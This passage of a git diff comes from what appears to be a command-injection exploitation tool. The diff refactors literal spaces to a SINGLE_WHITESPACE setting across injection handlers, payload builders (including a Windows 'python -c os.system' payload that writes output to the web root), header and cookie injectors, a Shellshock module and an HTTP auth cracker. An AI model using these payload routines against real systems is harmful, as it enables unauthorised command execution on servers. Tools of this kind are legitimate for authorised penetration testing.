_urllib.parse.quote(whitespace) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) end = time.time() diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index da49dc562a..8c5b302ec0 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -175,7 +175,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index a3543ac920..976e32277d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -59,7 +59,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ export_injection_info = False if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: @@ -72,7 +72,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: - if whitespace == " ": + if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True @@ -176,7 +176,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -189,7 +189,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ percent = settings.info_msg else: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -236,7 +236,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -268,7 +268,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index c975e8dd7e..c0feaad338 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -101,7 +101,7 @@ def injection_test_results(response, TAG, randvcalc): else: # Check the execution results html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n"," ") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) @@ -262,7 +262,7 @@ def injection_results(response, TAG, cmd): try: # Grab execution results html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n"," ") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) @@ -272,10 +272,10 @@ def injection_results(response, TAG, cmd): for end_line in settings.END_LINE: if end_line in html_data: - html_data = html_data.replace(end_line, " ") + html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) break - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + " ", html_data) + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) if not shell: @@ -284,7 +284,7 @@ def injection_results(response, TAG, cmd): if TAG in shell: shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) # Clear junks - shell = [tags.replace(TAG + TAG , " ") for tags in shell] + shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] shell = [backslash.replace("\/","/") for backslash in shell] except UnicodeDecodeError: pass diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index fa7e60c0c9..ca13a188f9 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -110,7 +110,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == "win": if settings.REVERSE_TCP: - payload = (separator + cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + @@ -148,7 +148,7 @@ def cmd_execution(separator, TAG, cmd): def cmd_execution_alter_shell(separator, TAG, cmd): if settings.TARGET_OS == "win": if settings.REVERSE_TCP: - payload = (separator + cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 6aba7618f1..439181a3bf 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -47,7 +47,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. ps_version = eb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1) + ps_version = "".join(str(p) for p in ps_version).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -69,7 +69,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -126,7 +126,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. target_arch = eb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1) + target_arch = "".join(str(p) for p in target_arch).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -153,7 +153,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = eb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1) + cu_account = "".join(str(p) for p in cu_account).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -178,7 +178,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -244,7 +244,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0fcf0557d2..ada5cb7ac5 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -56,7 +56,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: @@ -69,7 +69,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: - if whitespace == " ": + if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True @@ -135,7 +135,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.TAMPER_SCRIPTS['base64encode'] and \ not settings.TAMPER_SCRIPTS['hexencode']: - payload = payload.replace(" ", "%20") + payload = payload.replace(settings.SINGLE_WHITESPACE, "%20") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: @@ -187,7 +187,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -201,7 +201,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -248,7 +248,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -279,7 +279,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) @@ -377,7 +377,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 760180f8c1..ceb42396fb 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -95,11 +95,11 @@ def injection_test_results(response, TAG, randvcalc): return False else: html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", " ", html_data) + html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data) + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) else: - shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data) + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) return shell """ diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index fef769ebe5..0b30bc8f5f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -198,7 +198,7 @@ def cmd_execution(separator, TAG, cmd): def cmd_execution_alter_shell(separator, TAG, cmd): if settings.TARGET_OS == "win": if settings.REVERSE_TCP: - payload = (separator +cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 4b213359ee..16ba4b9c15 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -177,7 +177,7 @@ def finalize(exit_loops, no_result, float_percent, injection_type, technique): else: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() return True @@ -329,7 +329,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: percent = settings.info_msg - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -456,7 +456,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -488,7 +488,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 82adf5e2d5..fe1a12e63e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -50,7 +50,7 @@ def injection_test(payload, http_request_method, url): #url = parameters.do_GET_check(url, http_request_method) # Encoding spaces. - payload = payload.replace(" ","%20") + payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) @@ -193,7 +193,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - payload = payload.replace(" ","%20") + payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -335,7 +335,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) try: shell = checks.page_encoding(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n"," ") for newline in shell] + #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == "win": shell = [newline.replace("\r","") for newline in shell] #shell = [space.strip() for space in shell] diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 25f094f98d..ada7d25040 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -93,7 +93,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): if settings.TARGET_OS == "win": if settings.REVERSE_TCP: - payload = (separator +cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\"" diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index cc598bd8c8..19f21dfa1d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -94,7 +94,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL != 0: - info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + info_msg ="Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) #whitespace = checks.check_whitespaces() @@ -251,7 +251,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -299,14 +299,14 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue @@ -335,7 +335,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: @@ -366,7 +366,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: if whitespace == "%20": - whitespace = " " + whitespace = settings.SINGLE_WHITESPACE possibly_vulnerable = False if settings.COOKIE_INJECTION == True: @@ -390,7 +390,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -422,7 +422,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 78ba02cae3..6f78449373 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -344,7 +344,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, output = "".join(str(p) for p in output) # Check for empty output. - if output == (len(output) * " "): + if output == (len(output) * settings.SINGLE_WHITESPACE): output = "" else: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index e91c29b87a..bbc78c0e79 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -353,8 +353,8 @@ def shellshock_handler(url, http_request_method, filename): export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" - the_type = " " + vuln_parameter - check_header = " " + check_header + the_type = settings.SINGLE_WHITESPACE + vuln_parameter + check_header = settings.SINGLE_WHITESPACE + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) @@ -518,7 +518,7 @@ def shellshock_handler(url, http_request_method, filename): raise SystemExit() except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index cea825a68f..21f7f3dba4 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -167,7 +167,7 @@ def http_auth_cracker(url, realm): if settings.VERBOSITY_LEVEL >= 2: print(settings.print_checking_msg(payload)) else: - sys.stdout.write("\r" + settings.print_checking_msg(payload) + " " * 10) + sys.stdout.write("\r" + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) sys.stdout.flush() try: # Basic authentication diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b22a4bd401..d174061f9f 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -297,7 +297,7 @@ def get_request_response(request): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -314,7 +314,7 @@ def get_request_response(request): if not str(err_msg.code) == str(menu.options.ignore_code): err = str(err_msg) + "." if settings.VERBOSITY_LEVEL < 2: - print("\r" + settings.print_critical_msg(err) + 30 * " ") + print("\r" + settings.print_critical_msg(err) + 30 * settings.SINGLE_WHITESPACE) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: @@ -323,7 +323,7 @@ def get_request_response(request): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -452,7 +452,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -482,7 +482,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -511,7 +511,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -584,7 +584,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -614,7 +614,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -642,7 +642,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -716,7 +716,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -746,7 +746,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' 